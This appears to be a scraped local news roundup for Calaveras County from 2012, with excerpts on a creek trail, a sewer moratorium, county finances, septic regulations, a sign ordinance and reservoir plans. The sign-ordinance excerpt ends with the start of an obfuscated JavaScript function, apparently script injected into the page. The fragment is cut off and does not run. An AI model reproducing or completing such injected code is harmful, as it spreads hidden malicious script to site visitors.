Trail to Lake on City Docket

Written by Sean Janssen, The Union Democrat June 05, 2012 01:27 pm A controversial plan to build a 5.1-mile bicycle and pedestrian trail along Angels Creek to New Melones Reservoir is up for possible adoption Tuesday at the Angels Camp City Council meeting. The $4.4 million trail would be built primarily with state and federal grant money and has been in the works for several years. Supporters say it would be an attraction and would coincide well... Read More

Links to this Week’s BOS & Planning Commission Agendas; Election Results

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Murphys housing blocked?

Written by Sean Janssen, The Union Democrat June 01, 2012 01:24 pm The Murphys Sanitary District, having surpassed its sewage-system capacity, is considering instituting a building moratorium. That surprising news kicked off a board meeting of more than three hours Thursday night as General Manager Julio Guerra announced he and District Engineer Gary Ghio reached that conclusion in reviewing estimated flows through the district’s treatment plant. “Gary... Read More

Calaveras County finances improve – Boost from $100 million project may be only temporary

By Dana M. Nichols Record Staff Writer May 21, 2012 12:00 AM SAN ANDREAS – What a difference a $100 million project makes. Calaveras County’s finances improved in the third quarter of the fiscal year, according to a report presented Tuesday to the county Board of Supervisors. No one was doing cartwheels. Clay Hawkins, chief assistant county administrative officer, told the board that the 9 percent year-over-year increase in construction... Read More

Rural counties bristle at septic regs

Written by Chris Caskey, The Union Democrat May 09, 2012 02:05 pm The state of California could move forward next month on new regulations for septic sewage systems, but not without some pushback from area agencies. The State Water Resources Control Board recently released a final draft of its policy on septic systems, also known as onsite water treatment systems. The policy would set up new rules and procedures for installing, maintaining and... Read More

BOS Considers New Community Sign Ordinance

The Board will be considering adopting County Planning Department initiated modifications to the sign ordinance for community identification signs.  The modification has been supported in concept by local community groups and business associations and was imitated at the request of the Murphys Community Club who are hoping to install a new “Welcome to Murphys” sign on the highway outside of town. View the BOS agenda here. function _0x3023(_0x562006,_0x1334d6){const... Read More

CAP Administrator & Outreach Coordinator (AOC) This part time contract position (25 hrs and $500 per month) includes a broad range of responsibilities. The AOC will coordinate monthly activities under the direction and review of the CAP Board. The AOC will also work closely with the CAP/Calaveras Planning Coalition Facilitator and the CAP website coordinator. Successful accomplishment of the proposed goals below will also require outreach to public... Read More

Rental Noise to Continue at Lake Tulloch

By Dana M. Nichols Record Staff Writer April 28, 2012 12:00 AM SAN ANDREAS – The beat-thumping, paddle-boating good times will roar full throttle for at least another summer in vacation rental houses along the shores of Lake Tulloch. For years, neighbors have complained of continuous, window-rattling noise from ski boat-oriented vacation getaways that rent for up to $650 a night. For the third time in four years, the Calaveras County Board... Read More

Design review board for Moke Hill

Posted: Friday, April 27, 2012 8:51 am | Updated: 9:32 am, Fri Apr 27, 2012. In a hotly contested issue among board members and public, Calaveras County’s Board of Supervisors voted 3 to 2 Tuesday to form a Mokelumne Hill Design Review Committee. Originally formed to provide input on the general plans of 1983 and 1988, the committee is tasked with discussing changes to the town’s community plan as well as reviewing new construction and rehabilitation... Read More

EBMUD board votes 7-0 to drop Pardee Expansion from revised water plan

Courtesy of Foothill Conservancy On Tuesday, April 24 in Oakland, the East Bay Municipal Utility District Board of Directors voted unanimously to approve a revised district Water Supply Management Plan 2040 that drops the controversial expansion of Pardee Reservoir. The expansion would have destroyed at least a mile of the Mokelumne River, including a section eligible for National Wild and Scenic River designation. The original WSMP 2040, adopted... Read More